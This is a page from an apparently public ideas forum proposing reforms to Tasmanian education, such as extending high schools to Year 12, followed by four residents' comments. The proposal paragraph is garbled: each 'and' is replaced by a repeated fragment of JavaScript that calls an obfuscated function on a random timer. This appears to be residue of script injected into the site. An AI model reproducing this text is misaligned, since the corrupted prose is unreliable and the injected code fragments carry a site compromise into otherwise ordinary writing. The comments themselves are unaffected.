The Ideas

Idea 6

Demand better educational outcomes on behalf of all Tasmanians through a media-led groundswell of action.

Our educational outcomes are dreadful andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we make excuses for them. We will break the mindset of denial that exists in Tasmania about our standom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andard of education through a combination of cultural andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and organisational change. We want to increase the community’s hunger for better educational outcomes. We also want to change the way the system delivers education. These initiatives include; extending all government high schools from Year 10 to Year 12 in metropolitan areas as well as in rural or regional towns andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and extending existing colleges back to Year 7; creating more aspirational pathway planning for higher education; provide frequent, external performance feedback andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and coaching for all teachers, andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and; only employ the term “leavers’ dinner” for those graduating from Year 12.


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  • ‘Better educational outcomes’ needs better definition. Currently the things we say we value most highly (e.g. social/ relational skills, resilience, flexibility) cannot be effectively measured – so instead we start to value the things we can measure, and define what ‘counts’ as ‘outcomes’ accordingly (‘literacy’ = NAPLAN!)

    SUBMITTED BY: Felicity Hickman, Rosetta 09:56PM 11/06/15
  • Are we educating Tasmanians for Tasmania, the country or the world? The shift in Tasmanian industry requires a greater skills base & more flexibility, as does the world but the opportunity to contribute on a world-wide basis from within Tasmania is greater than ever. How about celebrating starting years 11 & 12 not leaving?

    SUBMITTED BY: Paul Reader, Clarenon Vale 05:27PM 17/06/15
  • So Tasmania needs the same ideal model as Victoria, where 25,000 swap schools after Year 10 and 10,000 drop out of Yeas 11/12 . That’s why many of them are starting to see 7-12 high schools as the problem and secondary colleges as the solution. Opinions should be based on evidence

    SUBMITTED BY: Brian McNab, New Norfolk 12:55PM 18/06/15
  • Time for the community to get on the front foot about education – the key to a positive future in so many other areas. Excellent suggestions re enhancing educational delivery. Let’s be ambitious and expect the very best, from our students, teachers and the system as a whole!

    SUBMITTED BY: Eleanor Ramsay, Kettering 01:44PM 27/06/15